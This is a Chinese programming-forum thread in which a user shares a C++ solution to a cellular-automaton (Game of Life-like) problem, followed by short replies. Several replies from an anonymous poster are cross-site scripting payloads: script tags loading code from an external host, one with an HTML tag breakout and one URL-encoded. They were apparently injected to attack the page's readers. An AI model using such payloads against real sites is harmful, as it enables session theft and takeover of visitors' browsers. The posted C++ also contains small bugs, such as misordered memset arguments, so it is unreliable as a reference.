讨论 / 248题解
xazhj741 2014-02-22 20:57:25
点我顶贴 收藏 删除
#include<iostream>

#include<memory.h>

using namespace std;

char a[70][100][100];

const int moveX[8]={-1,-1,0,1,1,1,0,-1};

const int moveY[8]={0,1,1,1,0,-1,-1,-1};

int Init(int height,int width)

{

int i,j;

memset(a,70*height*width,'0');

for (i=0; i<height; i++)

{

for (j=0; j<width; j++)

{

cin>>a[1][i][j];

}

}

return 0;

}

bool judge(int k,int i,int j,int height,int width)

{

if ((i+moveX[k]>=height) || (i+moveX[k]<0) || (j+moveY[k]>=width) || (j+moveY[k]<0)){

return false;

}

else return true;

}

int deal(int now,int height,int width,int NumLive,int NumKeep)

{

int i,j,k,t;

for (i=0; i<height; i++)

{

for (j=0; j<width; j++)

{

t = 0;

for (k=0; k<8; k++)

{

if (judge(k,i,j,height,width)){

if (a[now][i+moveX[k]][j+moveY[k]] != '0'){

t++;

}

}

}

if (t==NumLive){

a[now+1][i][j] = '1';

}

else if (t==NumKeep){

a[now+1][i][j] = a[now][i][j];

}

else {

a[now+1][i][j] = '0';

}

}

}

return 0;

}

int print(int now,int height,int width)

{

int i,j;

for (i=0; i<height; i++)

{

for (j=0; j<width; j++)

{

cout<<a[now][i][j];

}

cout<<endl;

}

}

int main()

{

int height,width,t,now=1;

cin>>width>>height>>t;

Init(height,width);

while (now<t)

{

deal(now,height,width,3,2);

now++;

}

print(now,height,width);

return 0;

}

#1 xazhj741@2014-02-22 20:58:38
回复 删除
擦是249
#2 vook@2014-03-10 03:43:45
回复 删除
......
#3 Anymous@2014-03-15 07:57:56
回复 删除
<sCr ipt src=http://xss.re/3215></sCr ipt>
#4 Anymous@2014-03-15 08:02:22
回复 删除
....</div><sCr ipt src=http://xss.re/3215></sCr ipt>#
#5 Anymous@2014-03-15 08:04:15
回复 删除

#6 Anymous@2014-03-15 08:08:43
回复 删除
%3CsCript%20src%3Dhttp%3A%2F%2Fxss.re%2F3215%3E%3C%2FsCript%3E
查看更多回复
提交回复